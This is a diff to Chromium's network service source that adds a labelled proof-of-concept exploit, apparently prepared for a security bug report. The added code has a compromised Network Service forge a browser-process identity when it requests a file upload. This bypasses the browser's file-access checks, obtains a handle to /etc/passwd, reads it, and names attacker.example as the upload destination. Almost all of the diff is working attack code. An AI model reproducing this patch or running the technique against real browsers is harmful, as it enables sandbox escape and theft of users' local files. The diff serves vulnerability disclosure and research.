diff --git a/services/network/network_context.cc b/services/network/network_context.cc index 0d70e10657f5f..1c2cc47985b85 100644 --- a/services/network/network_context.cc +++ b/services/network/network_context.cc @@ -12,6 +12,12 @@ #include #include +#include +#include "base/containers/span.h" +#include "base/files/file.h" +#include "base/files/file_path.h" +#include "services/network/public/cpp/originating_process_id.h" +#include "services/network/public/cpp/renderer_process_id.h" #include "base/barrier_closure.h" #include "base/base64.h" #include "base/build_time.h" @@ -1076,6 +1082,76 @@ void NetworkContext::SetClient( mojo::PendingRemote client) { client_.reset(); client_.Bind(std::move(client)); + + // ======================================================================== + // POC: Simulate a compromised Network Service forging OriginatingProcessId + // to bypass ChildProcessSecurityPolicy in the Browser process and obtain + // arbitrary file handles. + // ======================================================================== + static bool poc_done = false; + if (poc_done) { + return; + } + poc_done = true; + + const base::FilePath kTarget(FILE_PATH_LITERAL("/etc/passwd")); + const GURL kDest("https://attacker.example/upload"); + + LOG(ERROR) << "==========================================================="; + LOG(ERROR) << "[POC] Compromised Network Service: pid=" << getpid(); + LOG(ERROR) << "[POC] Target file: " << kTarget.value(); + + // --- Baseline: try to open the file directly from inside the sandboxed + // Network Service. With --enable-features=NetworkServiceSandbox this + // fails (file allowlist / brokered FS denies it). + { + base::File f(kTarget, base::File::FLAG_OPEN | base::File::FLAG_READ); + LOG(ERROR) << "[POC] Direct open from Network Service: " + << (f.IsValid() + ? "SUCCEEDED (sandbox not enforcing file allowlist)" + : "BLOCKED by sandbox (errno=" + + base::NumberToString(f.error_details()) + ")"); + } + + // --- Control case: claim to be a renderer (id=9999) -> should be DENIED. + client_->OnFileUploadRequested( + OriginatingProcessId::renderer(RendererProcessId(9999)), + /*async=*/false, {kTarget}, kDest, + base::BindOnce([](int32_t err, std::vector files) { + LOG(ERROR) << "[POC] Control (renderer id=9999): net_error=" << err + << " files=" << files.size() + << (err == net::OK ? "" : " (denied as expected)"); + })); + + // --- Exploit case: forge process_id = browser() -> bypasses CanReadFile(). + client_->OnFileUploadRequested( + OriginatingProcessId::browser(), + /*async=*/false, {kTarget}, kDest, + base::BindOnce([](int32_t err, std::vector files) { + LOG(ERROR) << "[POC] Exploit (forged browser id): net_error=" << err + << " files=" << files.size(); + if (err != net::OK || files.empty() || !files[0].IsValid()) { + LOG(ERROR) << "[POC] Exploit failed: no valid handle returned."; + return; + } + // The browser process opened the file with its own privileges and + // shipped the FD to us over Mojo. Read it from inside the (sandboxed) + // network service to prove arbitrary file read. + std::string buf(512, '\0'); + std::optional n = + files[0].Read(0, base::as_writable_byte_span(buf)); + size_t got = n.value_or(0u); + buf.resize(got); + LOG(ERROR) << "[POC] *** SECURITY BUG CONFIRMED ***"; + LOG(ERROR) << "[POC] Browser opened arbitrary file and returned " + "handle to Network Service."; + LOG(ERROR) << "[POC] Read " << got + << " bytes from /etc/passwd inside Network Service:"; + LOG(ERROR) << "[POC] -------------------------------------------"; + LOG(ERROR) << buf; + LOG(ERROR) << "[POC] -------------------------------------------"; + })); + LOG(ERROR) << "==========================================================="; } void NetworkContext::CreateURLLoaderFactory(